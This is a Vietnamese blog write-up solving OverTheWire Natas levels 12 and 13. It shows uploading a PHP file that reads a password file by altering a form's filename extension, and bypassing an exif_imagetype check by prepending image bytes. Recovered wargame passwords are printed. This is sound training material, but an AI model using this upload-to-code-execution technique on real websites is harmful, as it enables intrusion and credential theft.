[Writeup] [OverTheWire] [Natas] Level 12, Level 13

Standard

Lời nói đầu

  • [Writeup] [OverTheWire] [Natas] Level 11
  • Độ khó của bạn Natas này là basic (giống như bạn ấy tự giới thiệu). Nhưng với mình thì chẳng hề… khó chút nào emo_popo_beat_brick j/k
  • Mình hiện đang song song hoạt động ở blog này và http://forum.botbie.com/forum.php (mới mở). Sau này nếu bên đó ổn định thì cũng khó nói, nên tốt nhất các bạn cứ follow cả hai trang :”>

Level 12

18-08-2013 05-42-51

Xem source:

<?

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>


Đọc hiểu cơ bản, ta thấy quá trình upload ảnh không có gì đặc biệt, quan trọng nhất là ở đường dẫn của file sau khi được upload:

$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

Có những điểm quan trọng như sau:

  • Tên file (không bao gồm phần mở rộng) được tạo ngẫu nhiên.
  • Phần mở rộng lấy từ thuộc tính filename của form upload.
  • Thuộc tính filename có phần mở rộng cố định là .jpg:
    <? print genRandomString(); ?>.jpg)

Vì mọi thuộc tính của form (name và value) đều có thể thay đổi được, nên ta hoàn toàn có thể upload 1 file .php lên web để thực thi tác vụ mình muốn (code trên server theo như ta thấy thì nó không xử lý định dạng file) emo_popo_smile

Tạo file 12.php có nội dung:

<?php
	echo file_get_contents('/etc/natas_webpass/natas13');
?>

Tại form upload, sửa thuộc tính filename thành *.php:

18-08-2013 05-53-08

Chọn file 12.php và tiến hành upload:

The file upload/fu8uedhdpw.php has been uploaded

Nhấn vào link:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13

Task này giống hệt task 12, chỉ khác là có thêm bước kiểm tra định dạng file sau khi upload:

if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
    echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
    echo "File is not an image";
} else {
    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
    } else{
            echo "There was an error uploading the file, please try again!";
    }
}

Lưu ý rằng exif_imagetype là một hàm có sẵn của PHP, nó kiểm tra một vài byte đầu tiên của file để xác định xem file đó có phải file ảnh hay không. Ta có thể bypass dễ dàng phép kiểm tra này bằng cách chèn nội dung 1 file ảnh vào trước đoạn code php của file 12.php bên trên, và đổi tên nó thành 13.php emo_popo_big_smile

18-08-2013 06-01-48

Thực hiện các bước tương tự như task 12, kết quả:

...¹]j™)â14•j. J›å¿Úi&ûÙmuª[èÿÙ natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

One thought on “[Writeup] [OverTheWire] [Natas] Level 12, Level 13

  1. Pingback: [Writeup] [OverTheWire] [Natas] Level 14, Level 15 | yeuchimse

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s